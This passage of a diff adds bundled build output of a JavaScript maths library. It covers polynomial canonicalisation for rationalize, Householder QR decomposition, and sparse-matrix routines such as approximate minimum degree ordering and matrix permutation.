'add' && noPai.fn !== 'subtract') { + throw new Error('Invalid ' + node.op + ' placing'); + } // -,+ : first child + + + if ((node.fn === 'subtract' || node.fn === 'add' || node.fn === 'unaryMinus') && o.noFil !== 0) { + throw new Error('Invalid ' + node.op + ' placing'); + } + } // Has parent + // Firers: ^,* Old: ^,&,-(unary): firers + + + if (node.op === '^' || node.op === '*') { + o.fire = node.op; + } + + for (var _i = 0; _i < node.args.length; _i++) { + // +,-: reset fire + if (node.fn === 'unaryMinus') o.oper = '-'; + + if (node.op === '+' || node.fn === 'subtract') { + o.fire = ''; + o.cte = 1; // default if there is no constant + + o.oper = _i === 0 ? '+' : node.op; + } + + o.noFil = _i; // number of son + + recurPol(node.args[_i], node, o); + } // for in children + + } else if (tp === 'SymbolNode') { + // ***** SymbolName ***** + if (node.name !== varname && varname !== '') { + throw new Error('There is more than one variable'); + } + + varname = node.name; + + if (noPai === null) { + coefficients[1] = 1; + return; + } // ^: Symbol is First child + + + if (noPai.op === '^' && o.noFil !== 0) { + throw new Error('In power the variable should be the first parameter'); + } // *: Symbol is Second child + + + if (noPai.op === '*' && o.noFil !== 1) { + throw new Error('In multiply the variable should be the second parameter'); + } // Symbol: firers '',* => it means there is no exponent above, so it's 1 (cte * var) + + + if (o.fire === '' || o.fire === '*') { + if (maxExpo < 1) coefficients[1] = 0; + coefficients[1] += o.cte * (o.oper === '+' ? 1 : -1); + maxExpo = Math.max(1, maxExpo); + } + } else if (tp === 'ConstantNode') { + var valor = parseFloat(node.value); + + if (noPai === null) { + coefficients[0] = valor; + return; + } + + if (noPai.op === '^') { + // cte: second child of power + if (o.noFil !== 1) throw new Error('Constant cannot be powered'); + + if (!number.isInteger(valor) || valor <= 0) { + throw new Error('Non-integer exponent is not allowed'); + } + + for (var _i2 = maxExpo + 1; _i2 < valor; _i2++) { + coefficients[_i2] = 0; + } + + if (valor > maxExpo) coefficients[valor] = 0; + coefficients[valor] += o.cte * (o.oper === '+' ? 1 : -1); + maxExpo = Math.max(valor, maxExpo); + return; + } + + o.cte = valor; // Cte: firer '' => There is no exponent and no multiplication, so the exponent is 0. + + if (o.fire === '') { + coefficients[0] += o.cte * (o.oper === '+' ? 1 : -1); + } + } else { + throw new Error('Type ' + tp + ' is not allowed'); + } + } // End of recurPol + + } // End of polyToCanonical + + + return rationalize; +} // end of factory + + +exports.name = 'rationalize'; +exports.factory = factory; + +/***/ }), +/* 208 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var zeros = load(__webpack_require__(43)); + var identity = load(__webpack_require__(50)); + var isZero = load(__webpack_require__(60)); + var unequal = load(__webpack_require__(130)); + var sign = load(__webpack_require__(131)); + var sqrt = load(__webpack_require__(46)); + var conj = load(__webpack_require__(71)); + var unaryMinus = load(__webpack_require__(39)); + var addScalar = load(__webpack_require__(17)); + var divideScalar = load(__webpack_require__(12)); + var multiplyScalar = load(__webpack_require__(21)); + var subtract = load(__webpack_require__(15)); + /** + * Calculate the Matrix QR decomposition. Matrix `A` is decomposed in + * two matrices (`Q`, `R`) where `Q` is an + * orthogonal matrix and `R` is an upper triangular matrix. + * + * Syntax: + * + * math.qr(A) + * + * Example: + * + * const m = [ + * [1, -1, 4], + * [1, 4, -2], + * [1, 4, 2], + * [1, -1, 0] + * ] + * const result = math.qr(m) + * // r = { + * // Q: [ + * // [0.5, -0.5, 0.5], + * // [0.5, 0.5, -0.5], + * // [0.5, 0.5, 0.5], + * // [0.5, -0.5, -0.5], + * // ], + * // R: [ + * // [2, 3, 2], + * // [0, 5, -2], + * // [0, 0, 4], + * // [0, 0, 0] + * // ] + * // } + * + * See also: + * + * lup, lusolve + * + * @param {Matrix | Array} A A two dimensional matrix or array + * for which to get the QR decomposition. + * + * @return {{Q: Array | Matrix, R: Array | Matrix}} Q: the orthogonal + * matrix and R: the upper triangular matrix + */ + + var qr = typed('qr', { + 'DenseMatrix': function DenseMatrix(m) { + return _denseQR(m); + }, + 'SparseMatrix': function SparseMatrix(m) { + return _sparseQR(m); + }, + 'Array': function Array(a) { + // create dense matrix from array + var m = matrix(a); // lup, use matrix implementation + + var r = _denseQR(m); // result + + + return { + Q: r.Q.valueOf(), + R: r.R.valueOf() + }; + } + }); + + function _denseQR(m) { + // rows & columns (m x n) + var rows = m._size[0]; // m + + var cols = m._size[1]; // n + + var Q = identity([rows], 'dense'); + var Qdata = Q._data; + var R = m.clone(); + var Rdata = R._data; // vars + + var i, j, k; + var w = zeros([rows], ''); + + for (k = 0; k < Math.min(cols, rows); ++k) { + /* + * **k-th Household matrix** + * + * The matrix I - 2*v*transpose(v) + * x = first column of A + * x1 = first element of x + * alpha = x1 / |x1| * |x| + * e1 = tranpose([1, 0, 0, ...]) + * u = x - alpha * e1 + * v = u / |u| + * + * Household matrix = I - 2 * v * tranpose(v) + * + * * Initially Q = I and R = A. + * * Household matrix is a reflection in a plane normal to v which + * will zero out all but the top right element in R. + * * Appplying reflection to both Q and R will not change product. + * * Repeat this process on the (1,1) minor to get R as an upper + * triangular matrix. + * * Reflections leave the magnitude of the columns of Q unchanged + * so Q remains othoganal. + * + */ + var pivot = Rdata[k][k]; + var sgn = unaryMinus(sign(pivot)); + var conjSgn = conj(sgn); + var alphaSquared = 0; + + for (i = k; i < rows; i++) { + alphaSquared = addScalar(alphaSquared, multiplyScalar(Rdata[i][k], conj(Rdata[i][k]))); + } + + var alpha = multiplyScalar(sgn, sqrt(alphaSquared)); + + if (!isZero(alpha)) { + // first element in vector u + var u1 = subtract(pivot, alpha); // w = v * u1 / |u| (only elements k to (rows-1) are used) + + w[k] = 1; + + for (i = k + 1; i < rows; i++) { + w[i] = divideScalar(Rdata[i][k], u1); + } // tau = - conj(u1 / alpha) + + + var tau = unaryMinus(conj(divideScalar(u1, alpha))); + var s = void 0; + /* + * tau and w have been choosen so that + * + * 2 * v * tranpose(v) = tau * w * tranpose(w) + */ + + /* + * -- calculate R = R - tau * w * tranpose(w) * R -- + * Only do calculation with rows k to (rows-1) + * Additionally columns 0 to (k-1) will not be changed by this + * multiplication so do not bother recalculating them + */ + + for (j = k; j < cols; j++) { + s = 0.0; // calculate jth element of [tranpose(w) * R] + + for (i = k; i < rows; i++) { + s = addScalar(s, multiplyScalar(conj(w[i]), Rdata[i][j])); + } // calculate the jth element of [tau * transpose(w) * R] + + + s = multiplyScalar(s, tau); + + for (i = k; i < rows; i++) { + Rdata[i][j] = multiplyScalar(subtract(Rdata[i][j], multiplyScalar(w[i], s)), conjSgn); + } + } + /* + * -- calculate Q = Q - tau * Q * w * transpose(w) -- + * Q is a square matrix (rows x rows) + * Only do calculation with columns k to (rows-1) + * Additionally rows 0 to (k-1) will not be changed by this + * multiplication so do not bother recalculating them + */ + + + for (i = 0; i < rows; i++) { + s = 0.0; // calculate ith element of [Q * w] + + for (j = k; j < rows; j++) { + s = addScalar(s, multiplyScalar(Qdata[i][j], w[j])); + } // calculate the ith element of [tau * Q * w] + + + s = multiplyScalar(s, tau); + + for (j = k; j < rows; ++j) { + Qdata[i][j] = divideScalar(subtract(Qdata[i][j], multiplyScalar(s, conj(w[j]))), conjSgn); + } + } + } + } // coerse almost zero elements to zero + // TODO I feel uneasy just zeroing these values + + + for (i = 0; i < rows; ++i) { + for (j = 0; j < i && j < cols; ++j) { + if (unequal(0, divideScalar(Rdata[i][j], 1e5))) { + throw new Error('math.qr(): unknown error - ' + 'R is not lower triangular (element (' + i + ', ' + j + ') = ' + Rdata[i][j] + ')'); + } + + Rdata[i][j] = multiplyScalar(Rdata[i][j], 0); + } + } // return matrices + + + return { + Q: Q, + R: R, + toString: function toString() { + return 'Q: ' + this.Q.toString() + '\nR: ' + this.R.toString(); + } + }; + } + + function _sparseQR(m) { + throw new Error('qr not implemented for sparse matrices yet'); + } + + return qr; +} + +exports.name = 'qr'; +exports.factory = factory; + +/***/ }), +/* 209 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var csAmd = load(__webpack_require__(210)); + var csPermute = load(__webpack_require__(212)); + var csEtree = load(__webpack_require__(213)); + var csPost = load(__webpack_require__(214)); + var csCounts = load(__webpack_require__(215)); + /** + * Symbolic ordering and analysis for QR and LU decompositions. + * + * @param {Number} order The ordering strategy (see csAmd for more details) + * @param {Matrix} a The A matrix + * @param {boolean} qr Symbolic ordering and analysis for QR decomposition (true) or + * symbolic ordering and analysis for LU decomposition (false) + * + * @return {Object} The Symbolic ordering and analysis for matrix A + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csSqr = function csSqr(order, a, qr) { + // a arrays + var aptr = a._ptr; + var asize = a._size; // columns + + var n = asize[1]; // vars + + var k; // symbolic analysis result + + var s = {}; // fill-reducing ordering + + s.q = csAmd(order, a); // validate results + + if (order && !s.q) { + return null; + } // QR symbolic analysis + + + if (qr) { + // apply permutations if needed + var c = order ? csPermute(a, null, s.q, 0) : a; // etree of C'*C, where C=A(:,q) + + s.parent = csEtree(c, 1); // post order elimination tree + + var post = csPost(s.parent, n); // col counts chol(C'*C) + + s.cp = csCounts(c, s.parent, post, 1); // check we have everything needed to calculate number of nonzero elements + + if (c && s.parent && s.cp && _vcount(c, s)) { + // calculate number of nonzero elements + for (s.unz = 0, k = 0; k < n; k++) { + s.unz += s.cp[k]; + } + } + } else { + // for LU factorization only, guess nnz(L) and nnz(U) + s.unz = 4 * aptr[n] + n; + s.lnz = s.unz; + } // return result S + + + return s; + }; + /** + * Compute nnz(V) = s.lnz, s.pinv, s.leftmost, s.m2 from A and s.parent + */ + + + function _vcount(a, s) { + // a arrays + var aptr = a._ptr; + var aindex = a._index; + var asize = a._size; // rows & columns + + var m = asize[0]; + var n = asize[1]; // initialize s arrays + + s.pinv = []; // (m + n) + + s.leftmost = []; // (m) + // vars + + var parent = s.parent; + var pinv = s.pinv; + var leftmost = s.leftmost; // workspace, next: first m entries, head: next n entries, tail: next n entries, nque: next n entries + + var w = []; // (m + 3 * n) + + var next = 0; + var head = m; + var tail = m + n; + var nque = m + 2 * n; // vars + + var i, k, p, p0, p1; // initialize w + + for (k = 0; k < n; k++) { + // queue k is empty + w[head + k] = -1; + w[tail + k] = -1; + w[nque + k] = 0; + } // initialize row arrays + + + for (i = 0; i < m; i++) { + leftmost[i] = -1; + } // loop columns backwards + + + for (k = n - 1; k >= 0; k--) { + // values & index for column k + for (p0 = aptr[k], p1 = aptr[k + 1], p = p0; p < p1; p++) { + // leftmost[i] = min(find(A(i,:))) + leftmost[aindex[p]] = k; + } + } // scan rows in reverse order + + + for (i = m - 1; i >= 0; i--) { + // row i is not yet ordered + pinv[i] = -1; + k = leftmost[i]; // check row i is empty + + if (k === -1) { + continue; + } // first row in queue k + + + if (w[nque + k]++ === 0) { + w[tail + k] = i; + } // put i at head of queue k + + + w[next + i] = w[head + k]; + w[head + k] = i; + } + + s.lnz = 0; + s.m2 = m; // find row permutation and nnz(V) + + for (k = 0; k < n; k++) { + // remove row i from queue k + i = w[head + k]; // count V(k,k) as nonzero + + s.lnz++; // add a fictitious row + + if (i < 0) { + i = s.m2++; + } // associate row i with V(:,k) + + + pinv[i] = k; // skip if V(k+1:m,k) is empty + + if (--nque[k] <= 0) { + continue; + } // nque[k] is nnz (V(k+1:m,k)) + + + s.lnz += w[nque + k]; // move all rows to parent of k + + var pa = parent[k]; + + if (pa !== -1) { + if (w[nque + pa] === 0) { + w[tail + pa] = w[tail + k]; + } + + w[next + w[tail + k]] = w[head + pa]; + w[head + pa] = w[next + i]; + w[nque + pa] += w[nque + k]; + } + } + + for (i = 0; i < m; i++) { + if (pinv[i] < 0) { + pinv[i] = k++; + } + } + + return true; + } + + return csSqr; +} + +exports.name = 'csSqr'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 210 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var csFlip = load(__webpack_require__(88)); + var csFkeep = load(__webpack_require__(211)); + var csTdfs = load(__webpack_require__(133)); + var add = load(__webpack_require__(14)); + var multiply = load(__webpack_require__(10)); + var transpose = load(__webpack_require__(72)); + /** + * Approximate minimum degree ordering. The minimum degree algorithm is a widely used + * heuristic for finding a permutation P so that P*A*P' has fewer nonzeros in its factorization + * than A. It is a gready method that selects the sparsest pivot row and column during the course + * of a right looking sparse Cholesky factorization. + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + * + * @param {Number} order 0: Natural, 1: Cholesky, 2: LU, 3: QR + * @param {Matrix} m Sparse Matrix + */ + + var csAmd = function csAmd(order, a) { + // check input parameters + if (!a || order <= 0 || order > 3) { + return null; + } // a matrix arrays + + + var asize = a._size; // rows and columns + + var m = asize[0]; + var n = asize[1]; // initialize vars + + var lemax = 0; // dense threshold + + var dense = Math.max(16, 10 * Math.sqrt(n)); + dense = Math.min(n - 2, dense); // create target matrix C + + var cm = _createTargetMatrix(order, a, m, n, dense); // drop diagonal entries + + + csFkeep(cm, _diag, null); // C matrix arrays + + var cindex = cm._index; + var cptr = cm._ptr; // number of nonzero elements in C + + var cnz = cptr[n]; // allocate result (n+1) + + var P = []; // create workspace (8 * (n + 1)) + + var W = []; + var len = 0; // first n + 1 entries + + var nv = n + 1; // next n + 1 entries + + var next = 2 * (n + 1); // next n + 1 entries + + var head = 3 * (n + 1); // next n + 1 entries + + var elen = 4 * (n + 1); // next n + 1 entries + + var degree = 5 * (n + 1); // next n + 1 entries + + var w = 6 * (n + 1); // next n + 1 entries + + var hhead = 7 * (n + 1); // last n + 1 entries + // use P as workspace for last + + var last = P; // initialize quotient graph + + var mark = _initializeQuotientGraph(n, cptr, W, len, head, last, next, hhead, nv, w, elen, degree); // initialize degree lists + + + var nel = _initializeDegreeLists(n, cptr, W, degree, elen, w, dense, nv, head, last, next); // minimum degree node + + + var mindeg = 0; // vars + + var i, j, k, k1, k2, e, pj, ln, nvi, pk, eln, p1, p2, pn, h, d; // while (selecting pivots) do + + while (nel < n) { + // select node of minimum approximate degree. amd() is now ready to start eliminating the graph. It first + // finds a node k of minimum degree and removes it from its degree list. The variable nel keeps track of thow + // many nodes have been eliminated. + for (k = -1; mindeg < n && (k = W[head + mindeg]) === -1; mindeg++) { + ; + } + + if (W[next + k] !== -1) { + last[W[next + k]] = -1; + } // remove k from degree list + + + W[head + mindeg] = W[next + k]; // elenk = |Ek| + + var elenk = W[elen + k]; // # of nodes k represents + + var nvk = W[nv + k]; // W[nv + k] nodes of A eliminated + + nel += nvk; // Construct a new element. The new element Lk is constructed in place if |Ek| = 0. nv[i] is + // negated for all nodes i in Lk to flag them as members of this set. Each node i is removed from the + // degree lists. All elements e in Ek are absorved into element k. + + var dk = 0; // flag k as in Lk + + W[nv + k] = -nvk; + var p = cptr[k]; // do in place if W[elen + k] === 0 + + var pk1 = elenk === 0 ? p : cnz; + var pk2 = pk1; + + for (k1 = 1; k1 <= elenk + 1; k1++) { + if (k1 > elenk) { + // search the nodes in k + e = k; // list of nodes starts at cindex[pj] + + pj = p; // length of list of nodes in k + + ln = W[len + k] - elenk; + } else { + // search the nodes in e + e = cindex[p++]; + pj = cptr[e]; // length of list of nodes in e + + ln = W[len + e]; + } + + for (k2 = 1; k2 <= ln; k2++) { + i = cindex[pj++]; // check node i dead, or seen + + if ((nvi = W[nv + i]) <= 0) { + continue; + } // W[degree + Lk] += size of node i + + + dk += nvi; // negate W[nv + i] to denote i in Lk + + W[nv + i] = -nvi; // place i in Lk + + cindex[pk2++] = i; + + if (W[next + i] !== -1) { + last[W[next + i]] = last[i]; + } // check we need to remove i from degree list + + + if (last[i] !== -1) { + W[next + last[i]] = W[next + i]; + } else { + W[head + W[degree + i]] = W[next + i]; + } + } + + if (e !== k) { + // absorb e into k + cptr[e] = csFlip(k); // e is now a dead element + + W[w + e] = 0; + } + } // cindex[cnz...nzmax] is free + + + if (elenk !== 0) { + cnz = pk2; + } // external degree of k - |Lk\i| + + + W[degree + k] = dk; // element k is in cindex[pk1..pk2-1] + + cptr[k] = pk1; + W[len + k] = pk2 - pk1; // k is now an element + + W[elen + k] = -2; // Find set differences. The scan1 function now computes the set differences |Le \ Lk| for all elements e. At the start of the + // scan, no entry in the w array is greater than or equal to mark. + // clear w if necessary + + mark = _wclear(mark, lemax, W, w, n); // scan 1: find |Le\Lk| + + for (pk = pk1; pk < pk2; pk++) { + i = cindex[pk]; // check if W[elen + i] empty, skip it + + if ((eln = W[elen + i]) <= 0) { + continue; + } // W[nv + i] was negated + + + nvi = -W[nv + i]; + var wnvi = mark - nvi; // scan Ei + + for (p = cptr[i], p1 = cptr[i] + eln - 1; p <= p1; p++) { + e = cindex[p]; + + if (W[w + e] >= mark) { + // decrement |Le\Lk| + W[w + e] -= nvi; + } else if (W[w + e] !== 0) { + // ensure e is a live element, 1st time e seen in scan 1 + W[w + e] = W[degree + e] + wnvi; + } + } + } // degree update + // The second pass computes the approximate degree di, prunes the sets Ei and Ai, and computes a hash + // function h(i) for all nodes in Lk. + // scan2: degree update + + + for (pk = pk1; pk < pk2; pk++) { + // consider node i in Lk + i = cindex[pk]; + p1 = cptr[i]; + p2 = p1 + W[elen + i] - 1; + pn = p1; // scan Ei + + for (h = 0, d = 0, p = p1; p <= p2; p++) { + e = cindex[p]; // check e is an unabsorbed element + + if (W[w + e] !== 0) { + // dext = |Le\Lk| + var dext = W[w + e] - mark; + + if (dext > 0) { + // sum up the set differences + d += dext; // keep e in Ei + + cindex[pn++] = e; // compute the hash of node i + + h += e; + } else { + // aggressive absorb. e->k + cptr[e] = csFlip(k); // e is a dead element + + W[w + e] = 0; + } + } + } // W[elen + i] = |Ei| + + + W[elen + i] = pn - p1 + 1; + var p3 = pn; + var p4 = p1 + W[len + i]; // prune edges in Ai + + for (p = p2 + 1; p < p4; p++) { + j = cindex[p]; // check node j dead or in Lk + + var nvj = W[nv + j]; + + if (nvj <= 0) { + continue; + } // degree(i) += |j| + + + d += nvj; // place j in node list of i + + cindex[pn++] = j; // compute hash for node i + + h += j; + } // check for mass elimination + + + if (d === 0) { + // absorb i into k + cptr[i] = csFlip(k); + nvi = -W[nv + i]; // |Lk| -= |i| + + dk -= nvi; // |k| += W[nv + i] + + nvk += nvi; + nel += nvi; + W[nv + i] = 0; // node i is dead + + W[elen + i] = -1; + } else { + // update degree(i) + W[degree + i] = Math.min(W[degree + i], d); // move first node to end + + cindex[pn] = cindex[p3]; // move 1st el. to end of Ei + + cindex[p3] = cindex[p1]; // add k as 1st element in of Ei + + cindex[p1] = k; // new len of adj. list of node i + + W[len + i] = pn - p1 + 1; // finalize hash of i + + h = (h < 0 ? -h : h) % n; // place i in hash bucket + + W[next + i] = W[hhead + h]; + W[hhead + h] = i; // save hash of i in last[i] + + last[i] = h; + } + } // finalize |Lk| + + + W[degree + k] = dk; + lemax = Math.max(lemax, dk); // clear w + + mark = _wclear(mark + lemax, lemax, W, w, n); // Supernode detection. Supernode detection relies on the hash function h(i) computed for each node i. + // If two nodes have identical adjacency lists, their hash functions wil be identical. + + for (pk = pk1; pk < pk2; pk++) { + i = cindex[pk]; // check i is dead, skip it + + if (W[nv + i] >= 0) { + continue; + } // scan hash bucket of node i + + + h = last[i]; + i = W[hhead + h]; // hash bucket will be empty + + W[hhead + h] = -1; + + for (; i !== -1 && W[next + i] !== -1; i = W[next + i], mark++) { + ln = W[len + i]; + eln = W[elen + i]; + + for (p = cptr[i] + 1; p <= cptr[i] + ln - 1; p++) { + W[w + cindex[p]] = mark; + } + + var jlast = i; // compare i with all j + + for (j = W[next + i]; j !== -1;) { + var ok = W[len + j] === ln && W[elen + j] === eln; + + for (p = cptr[j] + 1; ok && p <= cptr[j] + ln - 1; p++) { + // compare i and j + if (W[w + cindex[p]] !== mark) { + ok = 0; + } + } // check i and j are identical + + + if (ok) { + // absorb j into i + cptr[j] = csFlip(i); + W[nv + i] += W[nv + j]; + W[nv + j] = 0; // node j is dead + + W[elen + j] = -1; // delete j from hash bucket + + j = W[next + j]; + W[next + jlast] = j; + } else { + // j and i are different + jlast = j; + j = W[next + j]; + } + } + } + } // Finalize new element. The elimination of node k is nearly complete. All nodes i in Lk are scanned one last time. + // Node i is removed from Lk if it is dead. The flagged status of nv[i] is cleared. + + + for (p = pk1, pk = pk1; pk < pk2; pk++) { + i = cindex[pk]; // check i is dead, skip it + + if ((nvi = -W[nv + i]) <= 0) { + continue; + } // restore W[nv + i] + + + W[nv + i] = nvi; // compute external degree(i) + + d = W[degree + i] + dk - nvi; + d = Math.min(d, n - nel - nvi); + + if (W[head + d] !== -1) { + last[W[head + d]] = i; + } // put i back in degree list + + + W[next + i] = W[head + d]; + last[i] = -1; + W[head + d] = i; // find new minimum degree + + mindeg = Math.min(mindeg, d); + W[degree + i] = d; // place i in Lk + + cindex[p++] = i; + } // # nodes absorbed into k + + + W[nv + k] = nvk; // length of adj list of element k + + if ((W[len + k] = p - pk1) === 0) { + // k is a root of the tree + cptr[k] = -1; // k is now a dead element + + W[w + k] = 0; + } + + if (elenk !== 0) { + // free unused space in Lk + cnz = p; + } + } // Postordering. The elimination is complete, but no permutation has been computed. All that is left + // of the graph is the assembly tree (ptr) and a set of dead nodes and elements (i is a dead node if + // nv[i] is zero and a dead element if nv[i] > 0). It is from this information only that the final permutation + // is computed. The tree is restored by unflipping all of ptr. + // fix assembly tree + + + for (i = 0; i < n; i++) { + cptr[i] = csFlip(cptr[i]); + } + + for (j = 0; j <= n; j++) { + W[head + j] = -1; + } // place unordered nodes in lists + + + for (j = n; j >= 0; j--) { + // skip if j is an element + if (W[nv + j] > 0) { + continue; + } // place j in list of its parent + + + W[next + j] = W[head + cptr[j]]; + W[head + cptr[j]] = j; + } // place elements in lists + + + for (e = n; e >= 0; e--) { + // skip unless e is an element + if (W[nv + e] <= 0) { + continue; + } + + if (cptr[e] !== -1) { + // place e in list of its parent + W[next + e] = W[head + cptr[e]]; + W[head + cptr[e]] = e; + } + } // postorder the assembly tree + + + for (k = 0, i = 0; i <= n; i++) { + if (cptr[i] === -1) { + k = csTdfs(i, k, W, head, next, P, w); + } + } // remove last item in array + + + P.splice(P.length - 1, 1); // return P + + return P; + }; + /** + * Creates the matrix that will be used by the approximate minimum degree ordering algorithm. The function accepts the matrix M as input and returns a permutation + * vector P. The amd algorithm operates on a symmetrix matrix, so one of three symmetric matrices is formed. + * + * Order: 0 + * A natural ordering P=null matrix is returned. + * + * Order: 1 + * Matrix must be square. This is appropriate for a Cholesky or LU factorization. + * P = M + M' + * + * Order: 2 + * Dense columns from M' are dropped, M recreated from M'. This is appropriatefor LU factorization of unsymmetric matrices. + * P = M' * M + * + * Order: 3 + * This is best used for QR factorization or LU factorization is matrix M has no dense rows. A dense row is a row with more than 10*sqr(columns) entries. + * P = M' * M + */ + + + function _createTargetMatrix(order, a, m, n, dense) { + // compute A' + var at = transpose(a); // check order = 1, matrix must be square + + if (order === 1 && n === m) { + // C = A + A' + return add(a, at); + } // check order = 2, drop dense columns from M' + + + if (order === 2) { + // transpose arrays + var tindex = at._index; + var tptr = at._ptr; // new column index + + var p2 = 0; // loop A' columns (rows) + + for (var j = 0; j < m; j++) { + // column j of AT starts here + var p = tptr[j]; // new column j starts here + + tptr[j] = p2; // skip dense col j + + if (tptr[j + 1] - p > dense) { + continue; + } // map rows in column j of A + + + for (var p1 = tptr[j + 1]; p < p1; p++) { + tindex[p2++] = tindex[p]; + } + } // finalize AT + + + tptr[m] = p2; // recreate A from new transpose matrix + + a = transpose(at); // use A' * A + + return multiply(at, a); + } // use A' * A, square or rectangular matrix + + + return multiply(at, a); + } + /** + * Initialize quotient graph. There are four kind of nodes and elements that must be represented: + * + * - A live node is a node i (or a supernode) that has not been selected as a pivot nad has not been merged into another supernode. + * - A dead node i is one that has been removed from the graph, having been absorved into r = flip(ptr[i]). + * - A live element e is one that is in the graph, having been formed when node e was selected as the pivot. + * - A dead element e is one that has benn absorved into a subsequent element s = flip(ptr[e]). + */ + + + function _initializeQuotientGraph(n, cptr, W, len, head, last, next, hhead, nv, w, elen, degree) { + // Initialize quotient graph + for (var k = 0; k < n; k++) { + W[len + k] = cptr[k + 1] - cptr[k]; + } + + W[len + n] = 0; // initialize workspace + + for (var i = 0; i <= n; i++) { + // degree list i is empty + W[head + i] = -1; + last[i] = -1; + W[next + i] = -1; // hash list i is empty + + W[hhead + i] = -1; // node i is just one node + + W[nv + i] = 1; // node i is alive + + W[w + i] = 1; // Ek of node i is empty + + W[elen + i] = 0; // degree of node i + + W[degree + i] = W[len + i]; + } // clear w + + + var mark = _wclear(0, 0, W, w, n); // n is a dead element + + + W[elen + n] = -2; // n is a root of assembly tree + + cptr[n] = -1; // n is a dead element + + W[w + n] = 0; // return mark + + return mark; + } + /** + * Initialize degree lists. Each node is placed in its degree lists. Nodes of zero degree are eliminated immediately. Nodes with + * degree >= dense are alsol eliminated and merged into a placeholder node n, a dead element. Thes nodes will appera last in the + * output permutation p. + */ + + + function _initializeDegreeLists(n, cptr, W, degree, elen, w, dense, nv, head, last, next) { + // result + var nel = 0; // loop columns + + for (var i = 0; i < n; i++) { + // degree @ i + var d = W[degree + i]; // check node i is empty + + if (d === 0) { + // element i is dead + W[elen + i] = -2; + nel++; // i is a root of assembly tree + + cptr[i] = -1; + W[w + i] = 0; + } else if (d > dense) { + // absorb i into element n + W[nv + i] = 0; // node i is dead + + W[elen + i] = -1; + nel++; + cptr[i] = csFlip(n); + W[nv + n]++; + } else { + var h = W[head + d]; + + if (h !== -1) { + last[h] = i; + } // put node i in degree list d + + + W[next + i] = W[head + d]; + W[head + d] = i; + } + } + + return nel; + } + + function _wclear(mark, lemax, W, w, n) { + if (mark < 2 || mark + lemax < 0) { + for (var k = 0; k < n; k++) { + if (W[w + k] !== 0) { + W[w + k] = 1; + } + } + + mark = 2; + } // at this point, W [0..n-1] < mark holds + + + return mark; + } + + function _diag(i, j) { + return i !== j; + } + + return csAmd; +} + +exports.name = 'csAmd'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 211 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory() { + /** + * Keeps entries in the matrix when the callback function returns true, removes the entry otherwise + * + * @param {Matrix} a The sparse matrix + * @param {function} callback The callback function, function will be invoked with the following args: + * - The entry row + * - The entry column + * - The entry value + * - The state parameter + * @param {any} other The state + * + * @return The number of nonzero elements in the matrix + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + var csFkeep = function csFkeep(a, callback, other) { + // a arrays + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var asize = a._size; // columns + + var n = asize[1]; // nonzero items + + var nz = 0; // loop columns + + for (var j = 0; j < n; j++) { + // get current location of col j + var p = aptr[j]; // record new location of col j + + aptr[j] = nz; + + for (; p < aptr[j + 1]; p++) { + // check we need to keep this item + if (callback(aindex[p], j, avalues ? avalues[p] : 1, other)) { + // keep A(i,j) + aindex[nz] = aindex[p]; // check we need to process values (pattern only) + + if (avalues) { + avalues[nz] = avalues[p]; + } // increment nonzero items + + + nz++; + } + } + } // finalize A + + + aptr[n] = nz; // trim arrays + + aindex.splice(nz, aindex.length - nz); // check we need to process values (pattern only) + + if (avalues) { + avalues.splice(nz, avalues.length - nz); + } // return number of nonzero items + + + return nz; + }; + + return csFkeep; +} + +exports.name = 'csFkeep'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 212 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type) { + var SparseMatrix = type.SparseMatrix; + /** + * Permutes a sparse matrix C = P * A * Q + * + * @param {Matrix} a The Matrix A + * @param {Array} pinv The row permutation vector + * @param {Array} q The column permutation vector + * @param {boolean} values Create a pattern matrix (false), values and pattern otherwise + * + * @return {Matrix} C = P * A * Q, null on error + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csPermute = function csPermute(a, pinv, q, values) { + // a arrays + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var asize = a._size; + var adt = a._datatype; // rows & columns + + var m = asize[0]; + var n = asize[1]; // c arrays + + var cvalues = values && a._values ? [] : null; + var cindex = []; // (aptr[n]) + + var cptr = []; // (n + 1) + // initialize vars + + var nz = 0; // loop columns + + for (var k = 0; k < n; k++) { + // column k of C is column q[k] of A + cptr[k] = nz; // apply column permutation + + var j = q ? q[k] : k; // loop values in column j of A + + for (var t0 = aptr[j], t1 = aptr[j + 1], t = t0; t < t1; t++) { + // row i of A is row pinv[i] of C + var r = pinv ? pinv[aindex[t]] : aindex[t]; // index + + cindex[nz] = r; // check we need to populate values + + if (cvalues) { + cvalues[nz] = avalues[t]; + } // increment number of nonzero elements + + + nz++; + } + } // finalize the last column of C + + + cptr[n] = nz; // return C matrix + + return new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [m, n], + datatype: adt + }); + }; + + return csPermute; +} + +exports.name = 'csPermute'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 213 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory() { + /** + * Computes the elimination tree of Matrix A (using triu(A)) or the + * elimination tree of A'A without forming A'A. + * + * @param {Matrix} a The A Matrix + * @param {boolean} ata A value of true the function computes the etree of A'A + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + var csEtree = function csEtree(a, ata) { + // check inputs + if (!a) { + return null; + } // a arrays + + + var aindex = a._index; + var aptr = a._ptr; + var asize = a._size; // rows & columns + + var m = asize[0]; + var n = asize[1]; // allocate result + + var parent = []; // (n) + // allocate workspace + + var w = []; // (n + (ata ? m : 0)) + + var ancestor = 0; // first n entries in w + + var prev = n; // last m entries (ata = true) + + var i, inext; // 